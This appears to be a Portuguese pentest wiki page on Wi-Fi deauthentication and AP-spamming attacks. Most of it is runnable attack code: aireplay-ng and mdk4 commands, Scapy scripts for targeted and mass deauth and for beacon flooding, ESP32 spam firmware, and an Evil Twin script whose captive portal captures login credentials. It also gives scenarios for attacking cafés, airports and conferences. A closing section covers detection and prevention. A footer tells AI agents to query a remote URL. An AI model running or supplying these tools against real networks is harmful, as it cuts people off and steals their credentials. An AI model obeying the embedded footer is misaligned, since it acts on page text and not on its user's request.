# DEAUTH & AP Spamming

## 📑 **Índice**

1. [Fundamentos do Deauthentication Attack](#-fundamentos-do-deauthentication-attack)
2. [Fundamentos do AP Spamming](#-fundamentos-do-ap-spamming)
3. [Hardware para Ataques](#-hardware-para-ataques)
4. [Técnicas de Deauth Attack](#-técnicas-de-deauth-attack)
5. [Técnicas de AP Spamming](#-técnicas-de-ap-spamming)
6. [Implementação em Hardware](#-implementação-em-hardware)
7. [Cenários de Ataque](#-cenários-de-ataque)
8. [Detecção e Prevenção](#-detecção-e-prevenção)
9. [Equipamentos e Custos](#-equipamentos-e-custos)

***

## 🔍 **Fundamentos do Deauthentication Attack**

### **O que é Deauth Attack?**

O **Deauthentication Attack (Ataque de Desautenticação)** é um ataque de negação de serviço (DoS) na camada 2 que explora o mecanismo de gerenciamento de conexão do protocolo IEEE 802.11 (Wi-Fi). Um atacante enquadros de desautenticação falsos (deauth frames) para um cliente, forçando-o a se desconectar do Access Point (AP) legítimo. Estes quadros não são autenticados, tornando o ataque trivial de executar.

### **Como Funciona o 802.11 Management Frames**

```yaml
Quadros de Gerenciamento 802.11:
  
  Association Request/Response:
    - Estabelecimento da conexão inicial
  
  Authentication:
    - Autenticação do cliente na rede
  
  Deauthentication:
    - Encerramento da conexão (NÃO autenticado!)
    - Pode ser enviado por AP ou cliente
    - Razão: "Anterior autenticação inválida"
  
  Disassociation:
    - Encerramento da conexão (NÃO autenticado!)
    - Razão: "Estação deixando a BSS"
  
  Probe Request/Response:
    - Descoberta de redes
    - Usado em AP spamming
```

### **Por que Deauth Attack Funciona?**

```yaml
Vulnerabilidade Fundamental:
  - Quadros de gerenciamento NÃO são criptografados
  - Nenhuma autenticação de origem
  - Atacante pode forjar MAC address
  - Cliente e AP aceitam deauth frames de qualquer origem
  
Códigos de Razão Comuns:
  - 1: Razão não especificada
  - 2: Autenticação anterior inválida
  - 3: Estação deixando IBSS/ESS
  - 4: Inatividade da associação
  - 5: Recursos insuficientes na AP
  - 6: Autenticação não aceita pela AP
```

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant C as Cliente (MAC: AA:AA)
    participant AP as AP Legítimo (MAC: BB:BB)
    participant A as Atacante (MAC: CC:CC)

    C->>AP: Conexão estabelecida
    Note over C,AP: Tráfego normal
    
    A->>C: Deauth frame (falso) de MAC BB:BB
    Note over C: Cliente acredita que AP enviou deauth
    
    C->>AP: Desconecta
    C->>AP: Nova tentativa de autenticação
```

***

## 📡 **Fundamentos do AP Spamming**

### **O que é AP Spamming?**

**AP Spamming (Beacon Flooding)** é uma técnica de inundação de redes Wi-Fi falsas onde o atacante transmite milhares de beacons com SSIDs diferentes, criando uma lista massiva de redes disponíveis no dispositivo da vítima. Isso pode ser usado para:

* **Confundir usuários** (qual rede é a verdadeira?)
* **Engenharia social** (SSIDs atraentes como "Free\_WiFi", "Airport\_WiFi")
* **Evil Twin** (SSID idêntico ao legítimo, com maior potência)
* **DoS** (sobrecarregar o cliente com opções de rede)
* **Coleta de probes** (clientes revelam redes que já conectaram)

### **Como Funciona o AP Spamming?**

```yaml
Mecanismo:
  - Atacante transmite beacons em alta frequência
  - Cada beacon contém um SSID diferente
  - Cliente escuta beacons e lista redes disponíveis
  - Cliente pode se conectar automaticamente a redes conhecidas

Tipos de AP Spamming:
  - Beacon Flood: muitas redes falsas
  - Probe Response Flood: responde a probes de clientes
  - SSID Flood: milhares de SSIDs diferentes
  - Evil Twin: SSID específico (phishing)
```

### **Exemplo de Beacon Frame**

```python
# Estrutura de um Beacon Frame
beacon_frame = {
    'Frame Control': {
        'Type': 'Management (00)',
        'Subtype': 'Beacon (1000)',
        'To DS': 0, 'From DS': 0
    },
    'Duration': 0,
    'Destination MAC': 'FF:FF:FF:FF:FF:FF (broadcast)',
    'Source MAC': 'AA:BB:CC:DD:EE:FF (AP MAC)',
    'BSSID': 'AA:BB:CC:DD:EE:FF',
    'Fragment/Sequence': 0,
    'Timestamp': 0,
    'Beacon Interval': 100 (TU = 102.4ms),
    'Capability Info': 'ESS',
    'SSID': 'Free_WiFi',
    'Supported Rates': ['1.0', '2.0', '5.5', '11.0'],
    'DS Parameter Set': 'Channel 6'
}
```

***

## 🛠️ **Hardware para Ataques**

### **Equipamentos Necessários**

| Equipamento              | Chipset    | Bandas    | Modo Monitor     | Preço (R$)   | Onde Comprar              | Para Deauth | Para AP Spam |
| ------------------------ | ---------- | --------- | ---------------- | ------------ | ------------------------- | ----------- | ------------ |
| **RTL-SDR**              | R820T2     | 2.4 GHz   | Sim              | \~R$80-150   | Shopee, AliExpress        | ❌           | ❌            |
| **Raspberry Pi Zero W**  | BCM43430   | 2.4 GHz   | Sim (compatível) | \~R$150-200  | Shopee, AliExpress        | ✅           | ✅            |
| **Raspberry Pi 4**       | BCM43455   | 2.4/5 GHz | Sim              | \~R$400-600  | Mercado Livre             | ✅           | ✅            |
| **ESP32**                | ESP32      | 2.4 GHz   | Parcial          | \~R$40-60    | Shopee, AliExpress        | ❌           | ✅            |
| **Alfa AWUS036ACH**      | RTL8812AU  | 2.4/5 GHz | Sim              | \~R$300-500  | AliExpress, Mercado Livre | ✅           | ✅            |
| **TP-Link TL-WN722N v1** | AR9271     | 2.4 GHz   | Sim              | \~R$80-150   | Mercado Livre             | ✅           | ✅            |
| **Pineapple (Hak5)**     | AR9331     | 2.4 GHz   | Sim              | \~R$800-1200 | Hak5, eBay                | ✅           | ✅            |
| **Total Setup Básico**   | TP-Link    | 2.4 GHz   | -                | \~R$150-250  | -                         | ✅           | ✅            |
| **Total Setup Avançado** | Alfa + RPi | 2.4/5 GHz | -                | \~R$800-1200 | -                         | ✅           | ✅            |

***

## ⚔️ **Técnicas de Deauth Attack**

### **1. Deauth Attack Básico (aireplay-ng)**

```bash
# Colocar interface em modo monitor
sudo airmon-ng start wlan0

# Escanear redes e clientes
sudo airodump-ng wlan0mon

# Deauth específico para um cliente
sudo aireplay-ng -0 10 -a [AP_BSSID] -c [CLIENT_MAC] wlan0mon

# Deauth em broadcast (todos os clientes)
sudo aireplay-ng -0 10 -a [AP_BSSID] wlan0mon

# Deauth contínuo (ataque persistente)
sudo aireplay-ng -0 0 -a [AP_BSSID] -c [CLIENT_MAC] wlan0mon
```

### **2. Deauth Attack em Python (Scapy)**

```python
#!/usr/bin/env python3
# deauth_attack.py

from scapy.all import *
import time
import sys

class DeauthAttack:
    """
    Ataque de desautenticação Wi-Fi
    """
    
    def __init__(self, interface='wlan0mon'):
        self.interface = interface
        self.client_mac = None
        self.ap_mac = None
        self.reason_code = 2  # "Previous authentication no longer valid"
    
    def scan_clients(self, ap_mac):
        """
        Escanear clientes conectados a um AP
        """
        print(f"[*] Escaneando clientes de {ap_mac}")
        
        def packet_handler(pkt):
            if pkt.haslayer(Dot11) and pkt.type == 2:
                if pkt.addr1 == ap_mac:
                    print(f"    Cliente encontrado: {pkt.addr2}")
                    self.client_mac = pkt.addr2
        
        sniff(iface=self.interface, prn=packet_handler, timeout=30)
        return self.client_mac
    
    def deauth_client(self, ap_mac, client_mac, count=10, continuous=False):
        """
        Enviar pacotes de desautenticação
        """
        print(f"[*] Deauthenticating {client_mac} from {ap_mac}")
        
        # Construir pacote de deauth
        packet = RadioTap() / \
                 Dot11(addr1=client_mac, addr2=ap_mac, addr3=ap_mac) / \
                 Dot11Deauth(reason=self.reason_code)
        
        if continuous:
            print("[*] Modo contínuo - pressione Ctrl+C para parar")
            try:
                while True:
                    sendp(packet, iface=self.interface, count=1, verbose=False)
                    time.sleep(0.1)
            except KeyboardInterrupt:
                print("\n[+] Ataque interrompido")
        else:
            sendp(packet, iface=self.interface, count=count, verbose=False)
            print(f"[+] {count} pacotes de deauth enviados")
    
    def deauth_broadcast(self, ap_mac, count=10):
        """
        Desautenticar todos os clientes do AP
        """
        print(f"[*] Desautenticando TODOS os clientes de {ap_mac}")
        
        # Broadcast deauth
        packet = RadioTap() / \
                 Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=ap_mac, addr3=ap_mac) / \
                 Dot11Deauth(reason=self.reason_code)
        
        sendp(packet, iface=self.interface, count=count, verbose=False)
        print(f"[+] {count} pacotes de deauth broadcast enviados")
    
    def targeted_attack(self, ap_mac, client_mac=None):
        """
        Ataque direcionado
        """
        if client_mac:
            self.deauth_client(ap_mac, client_mac, count=20, continuous=True)
        else:
            # Tentar encontrar cliente automaticamente
            client = self.scan_clients(ap_mac)
            if client:
                self.deauth_client(ap_mac, client, continuous=True)
            else:
                print("[-] Nenhum cliente encontrado")
    
    def wpa_handshake_capture(self, ap_mac, channel):
        """
        Capturar handshake WPA após deauth
        """
        print(f"[*] Capturando handshake WPA em canal {channel}")
        
        # Mudar canal
        os.system(f"iwconfig {self.interface} channel {channel}")
        
        # Iniciar captura
        os.system(f"airodump-ng -c {channel} --bssid {ap_mac} -w handshake {self.interface}")
        
        # Deauth para forçar reconexão
        self.deauth_broadcast(ap_mac, 5)
        
        print("[+] Handshake capturado!")

# Uso
# attack = DeauthAttack()
# attack.targeted_attack('AA:BB:CC:DD:EE:FF')
```

### **3. Deauth com MDK4 (Ferramenta Poderosa)**

```bash
# Instalar mdk4
sudo apt install mdk4

# Ataque de deauth em AP específico
sudo mdk4 wlan0mon d -B [AP_BSSID] -c [CHANNEL]

# Ataque de deauth em cliente específico
sudo mdk4 wlan0mon d -B [AP_BSSID] -S [CLIENT_MAC]

# Ataque de deauth em broadcast
sudo mdk4 wlan0mon d -B [AP_BSSID] -s 100

# Deauth + handshake capture
sudo mdk4 wlan0mon d -B [AP_BSSID] -c [CHANNEL]
# Em outro terminal:
sudo airodump-ng -c [CHANNEL] --bssid [AP_BSSID] wlan0mon
```

### **4. Deauth Massivo (Múltiplos APs)**

```python
#!/usr/bin/env python3
# mass_deauth.py

from scapy.all import *
import threading

class MassDeauth:
    """
    Ataque de deauth massivo em múltiplos APs
    """
    
    def __init__(self, interface='wlan0mon'):
        self.interface = interface
        self.aps = []
    
    def scan_aps(self):
        """
        Escanear APs na área
        """
        print("[*] Escaneando APs...")
        
        def packet_handler(pkt):
            if pkt.haslayer(Dot11Beacon):
                bssid = pkt.addr2
                ssid = pkt.info.decode() if pkt.info else "<Hidden>"
                channel = ord(pkt[Dot11Elt:3].info) if pkt.haslayer(Dot11Elt) else 6
                
                if bssid not in [ap['bssid'] for ap in self.aps]:
                    self.aps.append({
                        'bssid': bssid,
                        'ssid': ssid,
                        'channel': channel
                    })
                    print(f"    {ssid} - {bssid} (canal {channel})")
        
        sniff(iface=self.interface, prn=packet_handler, timeout=30)
        print(f"[+] {len(self.aps)} APs encontrados")
        return self.aps
    
    def deauth_all_aps(self):
        """
        Desautenticar todos os APs encontrados
        """
        print("[*] Iniciando deauth massivo...")
        
        threads = []
        for ap in self.aps:
            t = threading.Thread(target=self.deauth_ap, args=(ap['bssid'], ap['channel']))
            t.start()
            threads.append(t)
        
        for t in threads:
            t.join()
    
    def deauth_ap(self, bssid, channel):
        """
        Desautenticar um AP específico
        """
        # Mudar canal
        os.system(f"iwconfig {self.interface} channel {channel}")
        
        # Broadcast deauth
        packet = RadioTap() / \
                 Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid) / \
                 Dot11Deauth(reason=2)
        
        # Enviar 100 pacotes por segundo
        for _ in range(100):
            sendp(packet, iface=self.interface, verbose=False)
            time.sleep(0.01)
        
        print(f"[+] Deauth enviado para {bssid}")

# Uso
# attack = MassDeauth()
# attack.scan_aps()
# attack.deauth_all_aps()
```

***

## 📡 **Técnicas de AP Spamming**

### **1. Beacon Flood (MDK4)**

```bash
# Beacon flood com SSIDs aleatórios
sudo mdk4 wlan0mon b -f /usr/share/wordlists/rockyou.txt -a -s 1000

# Beacon flood com padrão de SSID
sudo mdk4 wlan0mon b -n "Free_WiFi_%d" -a -s 500

# Beacon flood com SSIDs personalizados
sudo mdk4 wlan0mon b -t custom_ssids.txt -a -s 1000

# Beacon flood em canal específico
sudo mdk4 wlan0mon b -c 6 -s 1000
```

### **2. AP Spamming em Python (Scapy)**

```python
#!/usr/bin/env python3
# ap_spamming.py

from scapy.all import *
import random
import time
import threading

class APSpamming:
    """
    Inundação de beacons (AP Spamming)
    """
    
    def __init__(self, interface='wlan0mon', channel=6):
        self.interface = interface
        self.channel = channel
        self.running = True
    
    def random_mac(self):
        """
        Gerar MAC address aleatório
        """
        mac = [0x00, 0x11, 0x22,
               random.randint(0x00, 0xff),
               random.randint(0x00, 0xff),
               random.randint(0x00, 0xff)]
        return ':'.join(format(x, '02x') for x in mac)
    
    def create_beacon(self, ssid, bssid, channel):
        """
        Criar beacon frame
        """
        # Configurar campos do beacon
        dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff",
                      addr2=bssid, addr3=bssid)
        
        # Beacon body
        beacon = Dot11Beacon(timestamp=0, beacon_interval=0x0064,
                             cap=0x0421)  # ESS + privacy
        
        # SSID element
        ssid_elt = Dot11Elt(ID='SSID', info=ssid, len=len(ssid))
        
        # Supported rates
        rates = Dot11Elt(ID='Rates', info=b'\x82\x84\x8b\x96\x0c\x12\x18\x24')
        
        # DS parameter set (channel)
        ds_params = Dot11Elt(ID='DSset', info=chr(channel))
        
        return RadioTap() / dot11 / beacon / ssid_elt / rates / ds_params
    
    def beacon_flood(self, ssid_list, count_per_ssid=10, delay=0.01):
        """
        Inundar com beacons de múltiplos SSIDs
        """
        print(f"[*] Iniciando beacon flood com {len(ssid_list)} SSIDs")
        
        while self.running:
            for ssid in ssid_list:
                bssid = self.random_mac()
                packet = self.create_beacon(ssid, bssid, self.channel)
                sendp(packet, iface=self.interface, verbose=False)
                time.sleep(delay)
    
    def ssid_flood(self, wordlist_path, count=1000):
        """
        Inundar com SSIDs de uma wordlist
        """
        with open(wordlist_path, 'r') as f:
            ssids = [line.strip() for line in f.readlines()[:count]]
        
        print(f"[*] Inundando com {len(ssids)} SSIDs")
        
        for ssid in ssids:
            bssid = self.random_mac()
            packet = self.create_beacon(ssid, bssid, self.channel)
            sendp(packet, iface=self.interface, verbose=False)
            time.sleep(0.05)
        
        print("[+] Beacon flood concluído")
    
    def evil_twin(self, target_ssid, target_bssid, power=100):
        """
        Criar Evil Twin (AP falso com mesmo SSID)
        """
        print(f"[*] Criando Evil Twin para {target_ssid}")
        
        # Criar AP com potência maior
        packet = self.create_beacon(target_ssid, target_bssid, self.channel)
        
        while self.running:
            sendp(packet, iface=self.interface, verbose=False)
            time.sleep(0.1)
    
    def probe_response_flood(self, client_mac, ssid):
        """
        Responder a probes com redes falsas
        """
        print(f"[*] Inundando {client_mac} com probes de {ssid}")
        
        # Probe response frame
        dot11 = Dot11(type=0, subtype=5, addr1=client_mac,
                      addr2=self.random_mac(), addr3=self.random_mac())
        
        probe_resp = Dot11ProbeResp(timestamp=0, beacon_interval=0x0064,
                                    cap=0x0421)
        
        ssid_elt = Dot11Elt(ID='SSID', info=ssid, len=len(ssid))
        
        packet = RadioTap() / dot11 / probe_resp / ssid_elt
        
        while self.running:
            sendp(packet, iface=self.interface, verbose=False)
            time.sleep(0.05)
    
    def stop(self):
        self.running = False

# Uso
# spammer = APSpamming()
# spammer.ssid_flood('/usr/share/wordlists/rockyou.txt', 500)
```

### **3. Evil Twin + Deauth Combinado**

```python
#!/usr/bin/env python3
# evil_twin_deauth.py

import threading
import time
import os

class EvilTwinDeauth:
    """
    Ataque combinado: Evil Twin + Deauth
    """
    
    def __init__(self, interface='wlan0mon', target_ssid=None, target_channel=6):
        self.interface = interface
        self.target_ssid = target_ssid or "Free_WiFi"
        self.target_channel = target_channel
        self.ap_bssid = None
    
    def find_target_ap(self):
        """
        Encontrar AP alvo
        """
        print(f"[*] Procurando AP: {self.target_ssid}")
        
        # Escanear beacons
        def packet_handler(pkt):
            if pkt.haslayer(Dot11Beacon):
                ssid = pkt.info.decode() if pkt.info else ""
                if ssid == self.target_ssid:
                    self.ap_bssid = pkt.addr2
                    print(f"[+] AP encontrado: {self.ap_bssid}")
        
        sniff(iface=self.interface, prn=packet_handler, timeout=30)
        return self.ap_bssid
    
    def create_evil_twin(self):
        """
        Criar Evil Twin
        """
        print(f"[*] Criando Evil Twin: {self.target_ssid}")
        
        # Configurar hostapd
        config = f"""
interface={self.interface}
driver=nl80211
ssid={self.target_ssid}
hw_mode=g
channel={self.target_channel}
wmm_enabled=1
auth_algs=1
ignore_broadcast_ssid=0
"""
        with open('/tmp/hostapd.conf', 'w') as f:
            f.write(config)
        
        # Iniciar AP
        os.system('hostapd /tmp/hostapd.conf &')
        print("[+] Evil Twin ativo")
    
    def deauth_original(self):
        """
        Desautenticar clientes do AP original
        """
        if not self.ap_bssid:
            return
        
        print(f"[*] Desautenticando clientes de {self.ap_bssid}")
        
        # Deauth contínuo
        cmd = f"aireplay-ng -0 0 -a {self.ap_bssid} {self.interface}"
        os.system(cmd)
    
    def start_captive_portal(self):
        """
        Iniciar portal cativo
        """
        print("[*] Iniciando portal cativo...")
        
        # Configurar iptables
        os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.4.1:80")
        
        # Servidor HTTP simples
        from http.server import HTTPServer, BaseHTTPRequestHandler
        
        class PortalHandler(BaseHTTPRequestHandler):
            def do_GET(self):
                html = '''
                <html>
                <body>
                    <h2>Atualização de Segurança</h2>
                    <p>Por favor, faça login novamente.</p>
                    <form method="POST">
                        <input type="text" name="user" placeholder="Usuário"><br>
                        <input type="password" name="pass" placeholder="Senha"><br>
                        <input type="submit" value="Entrar">
                    </form>
                </body>
                </html>
                '''
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                self.wfile.write(html.encode())
            
            def do_POST(self):
                length = int(self.headers['Content-Length'])
                data = self.rfile.read(length)
                print(f"[!] CREDENCIAIS: {data}")
                self.send_response(302)
                self.send_header('Location', 'https://www.google.com')
                self.end_headers()
        
        server = HTTPServer(('0.0.0.0', 80), PortalHandler)
        server.serve_forever()
    
    def start(self):
        """
        Iniciar ataque completo
        """
        print("=== Evil Twin + Deauth Attack ===\n")
        
        # Encontrar AP alvo
        self.find_target_ap()
        
        # Criar Evil Twin
        self.create_evil_twin()
        
        # Iniciar portal cativo em thread separada
        portal_thread = threading.Thread(target=self.start_captive_portal)
        portal_thread.daemon = True
        portal_thread.start()
        
        # Iniciar deauth
        self.deauth_original()

# Uso
# attack = EvilTwinDeauth(target_ssid='Starbucks_WiFi')
# attack.start()
```

### **4. ESP32 – AP Spamming Portátil**

```cpp
// esp32_ap_spam.ino
#include <WiFi.h>

// Lista de SSIDs para spam
const char* ssids[] = {
    "Free_WiFi", "Airport_WiFi", "Hotel_WiFi", "Cafe_WiFi",
    "Starbucks_WiFi", "McDonalds_WiFi", "Public_WiFi", "Guest_WiFi",
    "iPhone", "AndroidAP", "Galaxy", "Xiaomi",
    "ATT_WiFi", "Verizon_WiFi", "Comcast_WiFi", "Spectrum_WiFi"
};
const int num_ssids = sizeof(ssids) / sizeof(ssids[0]);

void setup() {
    Serial.begin(115200);
    Serial.println("[*] ESP32 AP Spamming iniciado");
    
    // Iniciar Wi-Fi em modo AP
    WiFi.mode(WIFI_AP);
}

void loop() {
    // Rotacionar SSIDs
    for (int i = 0; i < num_ssids; i++) {
        Serial.print("[+] Criando AP: ");
        Serial.println(ssids[i]);
        
        // Configurar AP com SSID atual
        WiFi.softAP(ssids[i], NULL, 6, 0, 1);
        
        delay(500);  // 500ms por AP
    }
    
    // Pausa entre ciclos
    delay(1000);
}
```

***

## 🎯 **Cenários de Ataque**

### **Cenário 1: Ataque a Starbucks (Evil Twin)**

```yaml
Cenário: Café Starbucks
  
  Procedimento:
    1. Atacante identifica SSID "Starbucks_WiFi"
    2. Cria Evil Twin com mesmo SSID e maior potência
    3. Desautentica clientes do AP original
    4. Clientes se conectam ao AP falso
    5. Portal cativo solicita login via Facebook
    6. Credenciais são capturadas
  
  Equipamento:
    - Raspberry Pi Zero 2 W (discreto)
    - Bateria portátil
    - Case impresso em 3D
  
  Impacto:
    - Contas de Facebook/Google
    - Dados pessoais
    - Propagação de malware
```

### **Cenário 2: AP Spamming em Aeroporto**

```yaml
Cenário: Aeroporto Internacional
  
  Procedimento:
    1. Atacante inunda área com beacons de redes falsas
    2. SSIDs: "Airport_Free_WiFi", "Delta_WiFi", "American_Airlines"
    3. Viajantes se conectam automaticamente (Wi-Fi Assist)
    4. Captura de tráfego e credenciais
  
  Equipamento:
    - ESP32 (muito pequeno, ~R$40)
    - Power bank
    - Antena de médio ganho
  
  Impacto:
    - Dados de cartão de crédito
    - Credenciais de e-mail
    - Informações de viagem
```

### **Cenário 3: Ataque a Conferência**

```yaml
Cenário: Conferência de tecnologia
  
  Procedimento:
    1. Atacante cria APs com nomes de empresas patrocinadoras
    2. Participantes conectam-se automaticamente
    3. Deauth force reconexão para Evil Twin
    4. Captura de tokens de acesso e credenciais
  
  Equipamento:
    - Raspberry Pi 4
    - Alfa AWUS036ACH (alto ganho)
    - Bateria de alta capacidade
  
  Impacto:
    - Acesso a contas corporativas
    - Roubo de propriedade intelectual
    - Acesso à rede da conferência
```

***

## 🛡️ **Detecção e Prevenção**

### **Sinais de Deauth Attack**

```yaml
Indicadores para Usuários:
  - Conexão Wi-Fi caindo repetidamente
  - Reinicialização constante da conexão
  - Dois APs com mesmo SSID (Evil Twin)
  - Rede com sinal muito forte (AP próximo)
  - Certificados SSL inválidos

Indicadores para Administradores:
  - Logs com múltiplas desautenticações
  - Clientes reconectando frequentemente
  - Tráfego anormal de management frames
  - APs não autorizados na rede
```

### **Ferramentas de Detecção**

```python
#!/usr/bin/env python3
# deauth_detector.py

from scapy.all import *
import time

class DeauthDetector:
    """
    Detector de ataques de desautenticação
    """
    
    def __init__(self, interface='wlan0mon'):
        self.interface = interface
        self.deauth_count = {}
        self.threshold = 10  # alertar após 10 deauths em 60s
        self.last_alert = {}
    
    def packet_handler(self, packet):
        """
        Analisar pacotes de deauth
        """
        if packet.haslayer(Dot11Deauth):
            # Extrair informações
            src = packet.addr2
            dst = packet.addr1
            reason = packet[Dot11Deauth].reason
            
            # Contabilizar
            now = time.time()
            if src not in self.deauth_count:
                self.deauth_count[src] = []
            
            # Limpar registros antigos
            self.deauth_count[src] = [t for t in self.deauth_count[src] if now - t < 60]
            self.deauth_count[src].append(now)
            
            # Verificar threshold
            count = len(self.deauth_count[src])
            
            if count >= self.threshold and src not in self.last_alert:
                print(f"[!] ATAQUE DE DEAUTH DETECTADO!")
                print(f"    Origem: {src}")
                print(f"    Alvo: {dst}")
                print(f"    Razão: {reason}")
                print(f"    Frequência: {count} deauths/minuto")
                print()
                self.last_alert[src] = now
    
    def start_detection(self):
        """
        Iniciar detecção
        """
        print("[*] Detectando ataques de deauth...")
        sniff(iface=self.interface, prn=self.packet_handler, store=0)

# Uso
# detector = DeauthDetector()
# detector.start_detection()
```

### **Prevenção**

```yaml
Medidas de Prevenção:
  
  Para Usuários:
    - Usar VPN em redes públicas
    - Verificar certificados SSL
    - Não conectar automaticamente a redes abertas
    - Usar autenticação de dois fatores
  
  Para Empresas:
    - Implementar 802.11w (Proteção de Management Frames)
    - Usar WPA3 (criptografia de management frames)
    - Implementar WIDS/WIPS
    - Monitorar logs de autenticação
    - Segmentar redes Wi-Fi
  
  Configurações de Segurança:
    - Habilitar PMF (Protected Management Frames)
    - Desabilitar reconexão automática
    - Usar certificados de cliente
    - Implementar NAC (Network Access Control)
```

***

## 📊 **Conclusão**

### **Resumo Técnico**

```yaml
Deauth Attack:
  ✅ Técnica simples e eficaz
  ✅ Hardware acessível (R$80-150)
  ✅ Bypassa WPA/WPA2/WPA3 (management frames)
  ✅ Pode ser combinado com Evil Twin

AP Spamming:
  ✅ Cria redes falsas em massa
  ✅ Engenharia social eficaz
  ✅ Pode ser feito com ESP32 (R$40)
  ✅ Alta taxa de sucesso em locais públicos

Defesas:
  - 802.11w (Protected Management Frames)
  - WPA3 (criptografia de management frames)
  - WIDS/WIPS
  - VPN
  - Conscientização do usuário
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/iot/deauth-and-ap-spamming.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.